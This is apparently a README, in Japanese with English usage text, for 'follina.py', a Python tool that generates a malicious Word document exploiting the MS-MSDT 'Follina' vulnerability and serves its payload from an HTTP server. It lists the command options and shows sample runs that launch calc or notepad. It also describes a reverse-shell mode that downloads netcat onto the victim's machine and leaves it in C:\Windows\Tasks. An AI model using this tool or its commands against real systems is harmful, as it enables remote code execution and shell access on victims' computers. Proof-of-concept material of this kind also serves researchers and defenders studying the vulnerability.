
# MS-MSDT 'Follina' 悪意のあるWord文書ジェネレーター MS-MSDTの「Follina」脆弱性を悪用して、任意のコマンドを実行したり、HTTPサーバー経由でペイロードをステージングしたりする悪意のあるMicrosoft Word文書を生成します。
John Hammond | 2022年5月30日
悪意のあるMicrosoft Word文書を使って「Follina」MS-MSDT攻撃を作成し、HTTPサーバーでペイロードをステージングします。

usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: calc)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
calc.exeを起動:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
notepad.exeを起動:
$ python3 follina.py -c "notepad"
ポート9001でリバースシェルを取得します。注意: これはnetcatバイナリを_被害者のマシン上に_ダウンロードし、C:\Windows\Tasksに配置します。バイナリのクリーンアップは行いません。AVが無効でない限り、アンチウイルス検出をトリガーします。
$ python3 follina.py -r 9001
